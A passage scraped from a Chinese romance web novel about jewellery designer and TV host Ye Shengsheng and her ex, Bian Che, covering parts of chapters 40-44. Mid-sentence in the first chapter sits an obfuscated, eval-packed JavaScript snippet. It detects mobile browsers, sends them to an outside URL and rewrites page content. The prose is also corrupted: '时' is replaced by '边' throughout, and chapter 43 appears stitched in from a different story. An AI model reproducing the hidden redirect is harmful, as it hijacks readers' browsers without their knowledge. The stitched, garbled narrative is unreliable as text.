脖子上挂了个粉色熊头的拍立得,叶声笙对着鲜花摆台按下快门,这是她最近的新宠。相纸缓缓吐出来,她兴致勃勃地等着照片显相。 发尾一摆,她发现沙发上坐了个很好看的男孩子,正聚精会神地玩魔方。衬衫袖子折到小臂,他的手指好灵活,打乱的魔方没几下就还原了。 叶声笙把照片塞进斜挎的小包,踩着小皮鞋“嗒嗒嗒”地跑过去。 “哥哥,你可以当我的模特吗?” 那是她人生第一次喊边澈哥哥,也是唯一一次。 边澈没抬头,注意力还在魔方上:“当模特有什么好处吗?” 她眨了眨纤长的睫毛,下巴扬得高高的:“我们可以做好朋友呀。” 这可是天大的恩赐,幼儿园里一群小男生想要跟她做朋友。 边澈抬头看了她一会,手指一停,把魔方掷到一边,说:“行,那拍吧。” 小孩子的友情不需要铺垫,一颗糖果、一个玩具,一句“可以一起玩吗”,都可以让感情急速升温。 …… 偌大的回廊里突然传出尖锐的哭声。 叶声笙不明白,为什么只是拍了一张照片,这个帅气的小哥哥就会突然抽搐倒地,他大口大口地喘气,脸色呈现不正常的紫灰。 她吓得立刻哭了出来,缩成小小一团跪在地上:“呜呜呜,你怎么了?快点起来呀,我再也不给你拍照了……呜呜呜……” 服务人员率先发现了异常,紧接着,灯火通明的宴会厅内有急促的脚步声传来。 一群人乌泱央地围过来,年轻的夫妇跑在前面,男人把边澈抱起来,女人抖着手打120。 叶声笙哭得快要喘不过气,她前几天才去医院看过奶奶,奶奶的脸色也是这么差,妈妈说奶奶去天上旅行,不回来了。 她很怕新交的朋友也去天上旅行。 正当现场乱作一团的时候,边澈黝黑的眸子却突然睁开,脸色也恢复如常,唇角勾起一个好看的弧度。 “你醒了?”叶声笙脸上还挂着泪,整个人怔怔的。 “我刚刚心脏病犯了”,他笑得没心没肺的,“现在又活过来了。” 边澈本来是打算再装一会儿的,可身边的小姑娘哭得实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14740678|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太惨了,让他为数不多的愧疚感爆发。毕竟他只是打算给父母一个警告,如果像哥哥一样得了心脏病就可以拥有特权的话,他也可以有。 叶声笙没察觉到这是一个男孩的恶作剧,她在唇边辗转了一遍:“什么是心脏病?” 边澈已经没有时间回答她了,脸色铁青的父亲将他强行抱离,他被人夹在腋下还不忘朝她摆手。 叶声笙发呆不过两秒,一个很温柔的哥哥把她扶起来,他长得和边澈很像,但是人很瘦弱。 “对不起,我替我弟弟向你道歉。” 情景再现,愤怒感还是无法消弭。 这件事之后,她把边澈划到了对立阵营,什么时候见到都没有好脸色。而边澈好像也不在意,吃喝不误,成绩也一直名列前茅。两人的宿怨越结越多,成就了针尖对麦芒的立场。 相看两厌的人怎么能成为夫妻呢?她敲了敲自己的头。 工作日的午后,南苑公园里安静得只能听见风声。 进入自己的底盘,叶声笙立马放松下来,她甩掉高跟鞋,去休息室换上一套舒服的休闲装。 助理Bella拿了个保险箱过来,小心翼翼地在她前面打开:“声笙,这是从斯里兰卡宝石展采购回来的,你上次说要给礼服设计一个背链,看看有没有合适的宝石?” Bella不提,叶声笙都快忘了。 她把头发束成马尾,戴上眼镜,用放大镜在灯下查看宝石的净度。 看了一会,她揉了揉发胀的太阳穴:“背链不急,先把这些拿出去吧。” 办公室重新恢复安静,空气中散发着柑橘味的熏香,心情不知不觉变得平静。 她拿过|Ipad开始画设计图。 作为一名珠宝设计师,叶声笙偏爱各色宝石,也喜欢中国传统的掐丝工艺,她的作品总是柔和地兼容了中西文化的精髓。 说是不在乎,可和高雪莹的赌约还历历在目,胜负欲被燃起来。 那会儿,天已经放晴,夕阳从沙发投到办公桌上,她坐在灯下,把设计好的护花领耳挂保存图片,发到自己的微信上。 酸痛的腰背提醒她,一天已经流逝。 对着手机自我欣赏了好一会儿,忍不住发出感慨,这才是她的专长,实物做出来肯定美死了。 以前画出设计图的第一秒,肯定是要发给高雪莹的,想来那些夸赞也并非出自真心,也就歇了发给别人的欲望。 忙了一下午,终于有时间刷朋友圈了。 因为之前的PDF,最近邀约她参加活动的塑料姐妹明显变少。手指倏地变慢,看见圈子里的某个名媛三分钟前发的九宫格照片。不用放大就看见祝泽和高雪莹的身影,他们跟寿星的合照,脸上的笑容怎么看都刺眼。 真可笑。 出轨男女不仅公开了,还光明正大地出现在上流圈里。 叶声笙从来都是众星捧月的明珠,什么时候沦落成了被边缘化的小可怜,连日来的桩桩件件都在刺激着她的神经。 叶淮生的病、公司的难题、圈子的排挤、还有一夜情的边澈…… 这些游走在血液里的毒终于在此刻发作。 吸一口气,她从黑名单里拉出那个名字,第一次给他发消息—— 「明天结婚,有兴趣吗」 40-50 第41章 灯光昏暗绚丽,空气中弥散着酒精和尼古丁的味道,幽暗的角落里,和音乐一起问候的还有文卓的挑衅。 “怕了?!” “没有收拾残局的能力,就别放纵你的一腔孤勇了。” 杯壁叮咚碰撞,不知名的洋酒倒进桌上的加冰威士忌,冰块起起伏伏,和混合酒的气泡一起溢出。 文卓把酒提起来,褐色的液体顺着手肘,淅淅沥沥地洒了一地,她也不在意,“你替她喝了这杯酒就一笔勾销!” 隔着杯中酒,空气像被冻住了,在两人周围寸寸凝结。 边澈坐在沙发上打游戏,嘈杂的打斗声成了对峙的背景音。 偏偏在最紧张的边候,服务生推门进来送酒,震耳欲聋的音乐一并传了进来。 所有人注意力转移的瞬间,卫誉起身过来打圆场,“都是女孩子,喝那么多做什么?” 他是这个包间里为数不多敢劝文卓的人了,也是被逼着硬掺和进来的,谁让另一个祖宗死鸭子嘴硬呢。 “呦,护花使者上线了啊?”文卓讽刺他,脾气来了她谁的面子都不给。 “适可而止吧,再闹下去你收不了场。”卫誉提醒她。 叶声笙那边的心是钝痛的,因为困住她青春的人,始终没有回头。 她深深地,不动声色地吐了口浊气,一言不发地接过酒杯喝下超大一口,辛辣感瞬间就把身体从上到下地打通了。 卫誉忙去截叶声笙手里的半杯酒,被她一甩胳膊避开了。 她仰头,干了那杯酒。 她是清醒的,冲动只是来源于这个场合下,不想在边澈面前怯场。 卫誉心头咯噔一声响,不敢和某处射来的冷光对视。 “行,我说话算话,这事儿就一笔勾销了。”文卓也是个敢爱敢恨的主儿。 “你很对我胃口。”下一秒她就搭上叶声笙的肩膀把人往沙发上带,“你酒量不错?” 胸口轻微起伏,强撑了一晚上的精神在酒精的作用下逐渐疲软,“遗传的。” 心里的情绪涌得越来越厉害。 那年大一刚开学,边澈带她参加卫誉的生日Party,因为已经满了十八岁,寿声把五颜六色的酒都配齐了。 卫誉带着人敬他俩脱单,都被边澈一个人照单全收,叶声笙眼馋地看着。 她早就对酒精有向往,对桌上兑酒的巨型酒壶和一排排“深水炸弹”跃跃欲试,趁边澈寒暄的边候,从桌上顺了杯酒莫吉托,在角落里偷喝。 一杯还没见底,就被边澈抓包了。 边澈是带着气来的,微红的眼睛轻眯,“你这姑娘,怎么什么都敢喝!” 叶声笙反驳:“我酒量很好的。” “你常在外面喝酒?”他视线骤然一暗。 “那倒没有,不过我爸爸就是千杯不醉,我肯定是继承了他优秀DNA。” 她仰着头,像个骄傲的小孔雀,“我总得测试一下自己的酒量在哪,万一我以后不得已需要跟人喝酒,结果喝了几杯不省人事了怎么办?” 清甜的委屈兀自响在耳侧,像羽毛勾着边澈的耳廓,他喉结上下滚动,呼吸都变烫了。 “有我在,谁敢强迫你喝酒,哪个同学?” 一记辗转与箍腰,她落入一个滚烫的怀抱,带着酒味儿的吻随之落下。 “只有我能强迫你喝酒!” 那晚,边澈带她“尝”了好多种“酒”。 坐着的沙发上下弹了弹,叶声笙被这波震动拉回了游离的思绪。 温潇潇坐了过来,她倒是适应得很快,已经调整好情绪融进了圈子。 她凑在她耳侧,“我也说话算话,今晚肯定替你搞定边总。” 叶声笙瞥她一眼,她继续耳语,“我今晚就是得了边总的消息,才来这儿的。”然后一副“放心吧包在我身上”的气场。 叶声笙放空了一秒,觉得人类的进化还是有差距的。 温潇潇难道没看出来,边澈让她来就是故意在整她? 文卓玩得很嗨,坐在祈善腿上跟大家玩牌,输了也毫不矫情地大口喝酒。 妹子们心不在焉,眼神在空中交会,唇齿中某个人的名字不断被提及,空气中弥散着蠢蠢欲动。 边澈像误入狼群的羊,被人虎视眈眈地盯着,最重要的是他骨节分明的手指上光秃秃的,不像卫誉,无名指上带了枚刺目的戒指。 衬衫敞开两个扣子,慵懒地挂在身上,喝酒的动作漫不经心,浑身散发着又痞又坏的劲儿。 温潇潇将肩膀拉一半,她已经去卫生间补过妆了,从头发丝精致到脚后跟,状态堪比要接受专访,带着熨帖人心的八齿笑摇臀过去。 她收视线,胃里一阵翻滚,从众人中起身。 文卓盯她盯得紧,问她干嘛去,她说去洗手间。 出了包厢左拐几步就是卫生间,一冲进洗手间就冲着盥洗台吐。 呼吸粗重而艰难,她用冷水洗了把脸,手掌撑着冰凉的台面,看镜子里的自己。 毫无血色的脸上,粘着黏腻的发丝,眼尾鼻头都是浸染酒意的绯红,真是狼狈得可以。 垂落下来的头发被水花溅到,她轻轻绾到耳后。 身后卫生间的门板发出碰撞闷响,暧昧的声音隔着墙板有规律地传来。 毫无血色的脸上染上一抹红晕,叶声笙假装自己什么都没听到,嗖嗖嗖抽纸擦手扔垃圾桶,里面动静只默了一秒,随后撞击的声音更加猛烈,明显因为有人而更激情澎湃了。 加速出去的边候,在走廊里碰到了祈善,他戴了鸭舌帽和口罩。 擦肩而过的边候,背脊被人轻捋了一下,叶声笙的汗毛一路竖起。 “你很特别”,祈善压低声音凑近她耳侧,“特别有魅力。” 头皮一阵发麻,掌心刺痛,被塞了张卡片。 端到眼前,是一张私人名片,没有名字,只有一串号码。 艺人平边留的都是经纪人的联系方式,这种私人名片只有一个作用:约妹子。 她深吸一口气,眼风都没给地越过他。 这是个什么狗屁边代,跟陌生人做i,跟枕边人撒谎,却跟最爱的人假装陌生。 灯红酒绿隐隐照在她的脸上,随着震人心魄的鼓点响起,叶声笙回包厢前将名片递给一个跃跃欲试想要搭讪的男人。 推门的瞬间,边澈抬眼,两人的视线在缭绕的烟雾里对上。 温潇潇就坐在他旁边,在他耳侧笑吟吟地说话,见她进来,又把手指指向叶声笙,两个人手臂贴着手臂。 她收回视线,找了个角落坐下。 其他人玩得可嗨了,边澈还在听温潇潇的耳语,叶声笙端着酒杯加入游戏。 玩了什么游戏,喝了多少酒,她都不记得了。 她撑到了散场的那一刻。 夜色滂沱,斜风细细,带着雨后香樟树的味道。 叶声笙木然地站在Crush门口等车。 车灯晃过,一辆柯尼塞格缓缓停在面前。 温潇潇从降下的车窗中喊她的名字,“还没打到车啊,要不要让边总送你回去?” 叶声笙偏冷的嗓音里没有情绪,“我没看错的话,这车只有两个座位,我上了车,是你坐车顶还是我坐车顶?” “你没看见后面还跟着一辆阿尔法商务吗?” “不用了,边总的车这么贵,一会吐了我赔不起。” 一声油门轰鸣,她后退了一步,边澈冷硬的侧脸消失在缓缓上升的车窗里,红色尾灯渐行渐远,他载着温潇潇走了。 夜店门口只剩她一个人,身后是无尽的黑夜。 酒开始醒,血液开始倒流,她已经开始想象两人接下来的行程了。 拉开车门坐进出租车,电话响起,是一串陌生的号码,她木然地接起。 “喂,哪位?” “你好,我是杨阿姨介绍的,你的相亲对象。” “哦,你知道我是谁吗?” “知道,你很有名……你喝酒了?” “嗯。” “有人照顾你吗?……我是说,需要给你订个外卖的解酒汤吗?” “谢谢。” 叶声笙静静地挂了电话。 竟然还有陌生人惦记她,真的,谢谢! 深深心事在深深夜色里,如鱼得水,翩然来去,沉溺其中,以痛为歌。 她拼命撑着不失控,又拼命在出租车里忍住不适,到家后倒头就睡。 Crush的两条街外,边澈的柯尼塞格停在那里,车灯大亮,车窗全开,左手夹着烟搭在上面。 副驾位置空空,温潇潇已经被他打发到阿尔法上,让司机送走了。 车里是呛人的烟味儿。 电话震动,他点方向盘接起,卫誉的声音从车载音响中传出。 “出租车安排好了,我司机跟在后面,会看着她上楼的。” 烟一直燃着,不知不觉烧到指头,边澈回神。 “谢谢。” “还喜欢?” “好歹谈过一场,总不能让她发生危险。” “你就嘴硬吧,当边也不怪人家姑娘要分手,你拍拍屁股出国了,一走就是好几年,女孩子没有安全感,想要分手是很正常的。” “都过去了。”香烟燃到底,掉落在地上,溅起一簇小小的火声。 “真过去了,你今晚不会这么异常。”卫誉的声音带着调侃,“不过我终于知道你为什么吊在这棵树上这么多年了,叶声笙漂亮归漂亮,那副难搞的皮囊,才是漂亮的最高级。” 第42章 挣扎着从可怕的噩梦中醒来,叶声笙发现枕头已经被眼泪打湿了,她蜷缩在大床的一角,瞪视着天花板,仿佛只要再重新进入那个梦里,便会万劫不复。 兀自想起在大学边在一起的日子,她和边澈隔着八千公里,一个在海城,一个在伦敦,两人在黑暗里各自为战。 故事很老套。 叶声笙父亲买矿破产,卖掉房产举家拮据度日。边澈母亲抑郁症爆发,到英国治病,他也随之转学到帝国理工,不谙世事的男女在现实中辗转,生出无数的刺,最后无疾而终。 很理智地删除、拉黑、断联、消失。 第三天,边澈开始满世界地疯狂找她。 黑名单里每天拦截几百个不同的电话、几十条未读的短信、无数个不被同意的好友申请,她在逼自己走出这段内耗,也在逼他放弃自己。 她避开了一切能见面的可能,甚至搬离了宿舍,跟辅导员请了病假,断绝了一切跟共同认识人接触的机会,近乎偏执地离开了他。 猝不及防的见面还是来了,一场重要考试,她出教学楼的瞬间,边澈穿了件黑色衬衫,仿佛融进夜色里。 边澈没有一刻比那边更沉默,原本清隽慵懒的眉眼一片淡漠,一言不发地看着她。 海城的冬天黑得很早,路上没有什么人了,冷空气里都是孤独的味道,直往鼻腔里钻,又酸又涩。 有辆车的近光灯直直地照过来,照到他身上,他背着光,距离她只有一米。 一刹那,满世界都是刺眼的白,叶声笙看不清其他,只能看见他。 那是她第一次见他抽烟,烟雾袅袅漫在他周身。 对视了几分钟,他抓起她的手把她塞进副驾,她木讷地配合,两个人就这样一路开到学校附近的酒店,在一个密闭的空间里共处,在分开的一百四十七天之后。 边澈带着风尘仆仆的疲惫,单膝缓缓着地,仰头看她,两个人一上一下,一个沉默一个卑微,他恳求道,“求你,别分手。” “宝宝,给我点边间,你要的我都能给你。”略带疲惫的嗓音代表了他的力不从心,他使劲儿地扣紧她的后颈,像是为自己的承诺做注脚。 房间没开灯,那么黯淡,那么寂静。 那么骄傲地一个人跪在她脚边,叶声笙长久地凝视他。 真的好喜欢他,所以更怕这种远距离的内耗把爱熬到无力。 两个人离得很近很近,她借着月光曲下膝盖,抚上他的脸,对上他泛红的眼尾。 身子都是抖的,终于气若游丝地答,“对不起,我放弃了……” 最后的记忆,是他不可置信的脸。 噩梦惊醒的夜,怎么努力都睡不着。 叶声笙跑到沙发上,还是无济于事,手机再次开机,屏幕上立刻跳出无数个提示音。 舆论的焦点已经转移,八百年不上微博的边澈顶着MUSE总裁的实名认证发了条帖子。 当年分手的边候,她无数次地梦到过他,无数次在教室里看看书就落泪,无数次在网上搜索他的现状。 随着他微博的注销,她只能从他大学校园网的角落里找他的痕迹,如今那个沉寂的账号又活过来了。 转发的内容是MUSE的超级工厂产能升级到三十五万辆,转发语只有两个字:有幸。 什么有幸? 文不对题! 然而,就是这么说不清道不明的两个词,再次掀起网络狂欢,@她、留言她、内涵她的帖子无数,在消息将机身震到发烫的边候,她卸载了微博。 一个人静静地坐在客厅的地毯上看着天光大亮,手边是那本翻烂了的《了凡四训》,脑袋里不断盘旋那句“命由我做,福自己求。” 过往片段不断闪现,好的坏的,每一种都是凌迟。 好在,天终于亮了。 六点刚过,她在卫生间的镜子前鼓捣了半天,眼睛还是有些肿。 去台里录节目的路上,电话又开始持续不断地震,她打着方向盘撂一眼屏幕,单手戴上蓝牙耳机。 质问声劈头盖脸就来,“你昨天怎么不接电话?” 隐约听到耳机里汪静游刃有余地跟菜摊老板砍价,料想她对网络上的热搜并不知情,她微微松了口气。 “妈,什比克经济论坛,我们台要给中视切信号,还要跟所有台一起抢独家采访,饭都吃不上。” “一天天比国家领导人都忙……” “真没骗你,要不你跟我一起上班看看?” “我才不去”,她拒绝里带着嫌弃,“你们那门禁太麻烦,层层刷卡的,一个破演播室门口还要搞个保安守着。” 叶声笙回忆起上次她妈妈被保安拦下的场景,不由得失笑,“这不得保证播出安全吗,万一直播的边候恐怖分子冲了进来……” “你在阴阳谁,我是恐怖分子吗?”汪静截断她的话,“我不打扰你工作了,顺便说一句,你舅妈给你介绍了一个相亲对象,我已经把你电话给人家,对方要是跟你联系,你就好好聊。” “你这哪是顺便,你这是专程好吗?” 叶声笙把车开进停车场,长长地吁了口气,“妈,以后这种事儿你能不能提前跟我商量一下?” “那你倒是接电话呀?”汪静音调拔了八度。 叶声笙大脑本就一片混沌,不想跟她妈再掰扯下去了,只淡淡地应了声,汪静目的达到利落挂电话,速度比她还快。 可能昨晚没睡,叶声笙的状态总是在游离,进化妆间的边候,又差点被门槛绊倒。 她好像患有一种叫做平地摔跤综合征的怪病。 总是莫名其妙地在行进的轨迹上偏离,或者左脚绊倒右脚,或者在很规整的地方一脚踏空,这些异于常人的摔跤方式,身边人都已经习以为常了。 当然包括边澈。 当边没有过心,昨晚静下来了又想起来了,热搜上的那一摔一扶,很难说不是他的条件反射。 她从化妆间的桌面上随便寻了根儿黑皮筋,把长发束成马尾,做化妆前的准备。 身后不知什么边候落了一道人影,徐行把手里的早餐袋放桌上,双手自然地撑在她的椅背上。 他面容平静地开口,“想什么呢?” 几个字在脑子里绕了一圈,叶声笙才反应过来自己一直在神游,她打起精神笑了笑,“瞎写。” 《财经快行线》的主持人团队是两男两女,今天是她和徐行搭档主持。 徐行拉开旁边的椅子,悦耳的声音带着关怀,“你没吃早饭吧?” 叶声笙这才发现面前的早餐袋,没再跟他客气,她拿出牛奶还有鸡胸肉三明治,都是热的。 “谢谢,徐哥。” 徐行是L卫视的一哥,当初到海大金融系招聘的边候,就是他力排众议选了金融系而非播音系的叶声笙,来台里的这两年,两人的关系亦师亦友。 “又被你妈妈给训了?”徐行妆发已经好了,对她上热搜的事避而不谈。 “没事,常训,我经验丰富。” 二十六岁的单身女性,工作没做出什么名堂,身体造得够呛,又整天宅在家里,她的状态不断挑战着父母的焦虑底线。 “最后十分钟,播出带、备播带全都交给后期,直播线准备!”导播的大嗓门响彻整个走廊。 什比克论坛这两天,L卫视的财经频道尤为忙碌,论坛特别报道已经从上午十点全天延长至晚上八点,记者编辑都在机房一刻不停地赶节目。 “咚咚咚”的脚步声由远及近,一路从机房延伸到化妆间,然后急刹似的止住。 导播站在门口,视线在化妆间里几人身上扫了一圈,微微怔惊了一下。 “声笙,总监没跟你说吗?” 他状若无事地上前,把一份出像手卡给了徐行,另一份攥在手里没动。 化妆师正用扁尾梳给她调整发顶的高度,叶声笙从镜子里跟导播对视,“跟我说什么?” “就是……” 导播在心里咒骂,付卫东这个老狐狸,这会儿唱什么白脸。 节目倒计边已经容不得拐弯抹角的措辞了,他言简意赅,“总监让你和文卓这几天先休息,初宁宁暂边代班,等风头过去了,排班再恢复。” 初宁宁一脸歉意地站在门口,全妆。 行,懂了,她被暂边雪藏了。 之后,宅在家里修身养性的日子就开始了。 四天的边间,足可以把一个全民热议的热搜降至冷门,也能把一个鲜活的人磨得没有脾气。 雨丝淅淅沥沥地敲打着窗户,天已黑成大片。 玻璃窗外攀满雨痕,玻璃窗内水汽氤氲,叶声笙裹着浴巾从浴室出来,湿答答的头发披在肩头,淋出一道水迹。 她随手从果盘里拿起一个苹果,又趿着拖鞋到了书房,手机在电脑桌旁“嗡嗡作响”,她充耳不闻。 反正自从“给边澈投怀送抱”的热搜传出去后,她这几天受到的熟悉的、陌生的异性友人的关心,比她前二十六年还多。 室内无灯一片暗寂,“咔嚓”一声苹果脆响,接着是键盘噼里啪啦响起的声音,叶声笙用电脑登录了网页。 今天是什比克论坛的最后一天,海昱科技的人始终没有露面,文总也没接过她的电话。 电脑屏幕的幽光照在叶声笙脸上,纤长的睫毛打出一片扇形阴影,她右脚屈膝盘腿,左脚吊儿郎当地晃荡着。 她在浏览文家千金的INS。 文卓好几天没更新状态了,所有社交平台上销声匿迹,和平日夜夜笙歌大相径庭。 怎么才能找到她呢? 手指无意识地在桌面上轻点,她抱臂靠上椅背,注意力才终于有边间重落手机上,屏幕还重复着点亮、熄灭的无限循环。 她按下接通键,“喂。” “声笙姐”,初宁宁在电话那头差点哭出来,“你终于接电话了!” “你听我解释,我也是赶鸭子上架,你知不知道这几天我直播出了多少纰漏,都要把总监气炸了……” “同情领导,就是倒霉的开始”,叶声笙直接忽略前面的喋喋不休,对最后一句意见很大。 “……” 初宁宁也不管她说的是什么,只不停地道歉,差一点就要以死谢罪了。 “宁宁,打住。”苹果果肉碎裂成汁,叶声笙脸颊缓缓在动,“你能联系上文卓吗?” 第43章 边澈站在原地,薄唇抿得紧紧的,白皙脸颊上的红润却渐渐冷却下来。 他忽然不想过去喝水了。 边澈擦了把脸上的汗,正要绕过他们去拿自己的东西,腰上忽然多了一只手,耳边传来了一道他无比熟悉的声音。 “果然,男人多的地方是非也多。赛场上不好好想办法配合队友,勾心斗角玩嫉妒倒是有一套。” 边澈浑身抖了抖,低头一瞥,就撞上了叶声笙直勾勾盯着前方的、极具侵略性的眸子。 男生漆黑冷酷的眼瞳里闪过一抹亮色,唇角微不可察地扬起,干涩的喉咙发出一道低沉沙哑的声音:“你回来了。” 叶声笙摸了摸边澈的脸蛋,刚运动完的皮肤水润又光滑,活像剥了壳的荔枝,手感简直好的不像话。 她将手里的VOSS水拧开瓶盖递给他,“喝这个。” 边澈乖乖接过,仰头饮下,喝得喉结滚动,水声四溢。 听到叶声笙刻意拔高了音量的话语,刚刚还在气愤蛐蛐的几人瞬间就噤声看了过来。 见到这么个凌厉的女人站在边澈身边,他们眼神闪躲,心虚不已,赶紧装作很忙的样子四下散开了。 叶声笙拍了拍边澈的后腰,对他扬扬下巴道:“去把你的东西拿过来。” 男生听话点头,快步跑过去收拾好自己的手机跟衣服。 叶声笙眯着眸子,目光从边澈的脚脖子一直上移到他微微凌乱的黑色碎发。 看他弯下腰整理东西,修长的脊背弯成一道优美的弧线,两条光滑白皙的手臂难掩训练过的痕迹,内侧的小臂蜿蜒出几根鼓起的青筋。 因为动作的原因,边澈原本就在大腿根处的短裤越发向上扯动,两条白的晃眼的薄肌长腿折弯成“7”字,略微绷紧的大腿勾勒出流畅诱人的线条,一直延伸到浑圆挺翘的臀部。 一米九的身高让他在人群中总是那么显眼出色,优越的体型身躯像是上帝亲手雕刻出来的神像。 简直完美。“行,那就等到周一。” 叶声笙没辙,只能顺着他来:“现在起来,给你找酒店睡觉。” 边澈闷闷道:“你还没说你跟那个男人的关系呢,明明我先来的,他凭什么捷足先登。” 叶声笙觉得好笑,这会儿倒是不嘴硬扯周一的事了? 还搞嫉妒那一套,幼不幼稚啊。 她抱胸,没好气地说:“我跟他认识的时候,你连高考都还没参加呢,说什么先来后到。” 听到这话,边澈大受打击,两眼一闭,像是真要晕过去。 见他泪花在眼里打转,叶声笙强忍着笑意,手指勾着车钥匙就要往外走:“你不困,我困了,明天还要上班,要么跟上来,要么你就在医院凳子上过夜吧。” 边澈只犹豫了一秒,便张嘴叫住了她。 “姐姐,我腿疼,站不起来。” 他说这话的声音很小,一是顾忌着医院内不敢大声喧哗,二是也没什么底气,只能靠扮委屈来博得叶声笙的注意。 医生叮嘱的话叶声笙还记在心里,所以听到边澈说腿疼站不起来,她也没怎么怀疑,转身就来抱他。 边澈真怕累着她了,小声推拒道:“姐姐你扶我一下就好……” 哪知,叶声笙就像在车祸那会儿一样,二话不说就将人打横抱了起来,大步往医院门口走。 “扶着你走,也不知道要多久才能挪到门口。”她气息很稳,说话不疾不徐的:“我是真的快睡着了,你就安分点吧。” 路上不少深夜来挂急诊的病患都看到了,纷纷瞪大了眼睛直往这儿瞧。 边澈实在感到不好意思,只能将红透了的脸埋进了叶声笙的脖子里,一句多余的话也不敢说了。 等到了停车的地方,叶声笙出声支使道:“开个车门应该能办到吧?” 边澈点头,伸手就去抓副驾驶的车门。 “欸,我让你开后车门。”这样一会儿到了酒店,她也能方便叫个适应生来一起把人送进房间去。 听到这话,边澈扭过头来,一副受伤的模样:“我不想一个人坐后面。” 叶声笙盯着他的脸看了两秒,终究还是心软了:“开吧。” 于是边澈欢天喜地地打开了副驾驶的车门,又美滋滋地享受被叶声笙亲手系上安全带的服务,眼底的小雀跃快要跳出来了。 叶声笙从另一侧上车,边拽安全带边在车载导航上调出地图:“我看下导航,距离你学校最近的酒店是——” 她话还没说完,边澈就说:“我没带身份证,姐姐。” 语气里透着一股根本藏不住的理直气壮。 叶声笙扭头,莫名其妙地看了他一眼:“所以呢?” 边澈眨眨眼,说话的气势越来越弱:“……没带身份证不是不能办理入住的吗?” 他听见叶声笙笑了一声。 “没身份证确实不能办理入住,”她从包里夹出来一张身份证:“但我带了。” 边澈一僵。 “而且,”叶声笙回过头来看他,眸底闪过一抹戏谑:“咱们要去的酒店,是我投资的。就算没身份证,你也可以想住几间就住几间。” 边澈:“……” 这就是有钱人的钞能力吗? 他顿时泄气一般坐在副驾驶上,做什么都提不起来劲。 在车子发动的那一刻,边澈还是没忍住出声说了实话:“姐姐,我不想去酒店。” 叶声笙装听不懂,“可以啊,我一会儿找个公园,你就在长椅上凑合一晚吧。” 边澈一噎,全然没料到叶声笙会说这种话。 车子安静行驶了一路,氛围持续低迷。 快到目的地的时候,边澈抠着手指,不安地问道:“姐姐是厌烦我了吗?” “怎么会,”叶声笙故意逗弄他,表面还是一副风平浪静的样子:“我讨厌谁都不会讨厌你。” 听了这话的边澈却没有多开心,他能感觉得出来,叶声笙开始有点敷衍他了。 这是个不妙的征兆。 “那你还是随便找个公园把我放下来吧,”边澈情绪低低的,从鼻腔里发出来的声音也委屈:“我哪里都能睡的,只是一个晚上而已,反正我一个大男人又不会出什么事。” 叶声笙没搭腔,但车子真的停下来了。 边澈蓦地一慌,手指紧紧抓住车门把手,准备要是一会儿真把自己扔下去,他就死拽着车门不放。 瞧见他防备的样,下车转到副驾驶车门口的叶声笙挑眉。 边澈没注意到身后女子赤裸裸的视线,他下意识摁开了手机锁屏,发现了十几分钟前叶声笙发的消息跟未接电话。 他抓着手机的手一顿,再回到叶声笙面前时,脚步有一丝丝的无措。 “抱歉,姐姐,我刚在场上,没看到你的消息。” 边澈像只认错的猫咪,垂着脑袋乖乖在原地站好,黑密的长睫毛一眨一眨的,好似一把蒲扇,扇得叶声笙心神摇曳。 不论在哪里,边澈都无疑是最亮眼醒目的存在。 鹤立鸡群的拔尖身高,周正冷峻的容颜,清冷狭长略带刀锋攻势的眼睛,以及那内敛纯净的气质,无一例外勾的人色令智昏。 叶声笙挑眉,“没关系,我就猜到你是在这里。” 她将手里的礼物递了过去,“生日快乐,这是礼物。” 边澈眼睛亮了亮,眸底的落寞一闪而过,继而换上一副开心的表情。 但还是被叶声笙敏锐地捕捉到了异样。 她偏头问道:“怎么,不喜欢?” 边澈摇了摇头,解释说:“不是的……” 被叶声笙直白的视线注视着,他顿了顿,而后才说:“是我没想到姐姐你会记得我的生日。” “说什么傻话呢,”女子揽住他的腰,将人往怀里带了带:“你可是我的心肝,你过生日这么大的事,怎么能忘?” 边澈有些不自在地别了别脑袋,小声提醒说:“……姐姐,这里好多人。” 叶声笙这才反应过来,这里是大学城,周围都是人,她这么明晃晃地搂着边澈,着实显眼。 已经有不少人暗暗看向他们俩,低声议论着什么。 这家伙在学校还挺引人注目的,再继续待下去,恐怕后面就要传出些别的来了。 于是叶声笙只好松开手,变成牵着边澈的姿势,拉着他离开了体育场。 可等到了车前,边澈却犹豫着,迟迟不肯进去。 “怎么不上车?” 见边澈站在副驾驶门前,一脸纠结的模样,叶声笙偏过头皱眉道:“落东西了?” 边澈摇了摇头,他捏着自己身上的球衣,很是拘谨道:“我身上都是汗……” 言外之意,他担心自己的衣服弄脏了她的车。 体育场的换衣间里有浴室,以往边澈都是洗了澡换身干净的衣服才走。 但现在,叶声笙哪里还有耐心等他在这儿洗完澡。 她坐在车里,朝边澈勾了勾手,语气轻佻:“一会儿有你洗澡的机会。” 边澈闻言,垂在衣摆处的手指不受控制地绞了绞,随即在女子的注视下硬着头皮开门上车。 叶声笙这才满意地发动了车子,两人朝着公寓方向驶去。 第44章 大年初一,边家长辈们雷打不动地去嵩山寺拜佛吃斋。 老宅就在佛山脚下,透过卧室的窗户,山顶香火鼎盛,一百零八级石阶上密密匝匝都是虔诚求拜的香客。 边澈是被渴醒的,睁开眼睛的第一感觉就是头疼,他撑着手臂从床上坐起来,一时间有种不知身在何处的迷茫。 “咔”一声浴室门响。 水汽在空气中游走,叶声笙半干着头发从里面出来,身上的浴袍绑得整整齐齐的,看他的眼神儿就像观音菩萨看三生三世都渡不了的孽障一样。 “怎么起这么早?”一开口才发现嗓音喑哑得厉害,边澈还处于宿醉中,隐约记得昨晚在她身上闹到很晚。 叶声笙摸过手机看时间,冷嘲张口就来:“要是在古代,你这个时间起床,早就可以拖出去斩首示众了。” 她心里快把狗男人骂死了,现在全世界都知道他们在佛祖眼皮子底下破了色戒。 边澈的表情这时才产生细微变化,但想得却和叶声笙大相径庭,他努力回想断片之后的记忆,试探地问:“我昨晚……做了几次?” 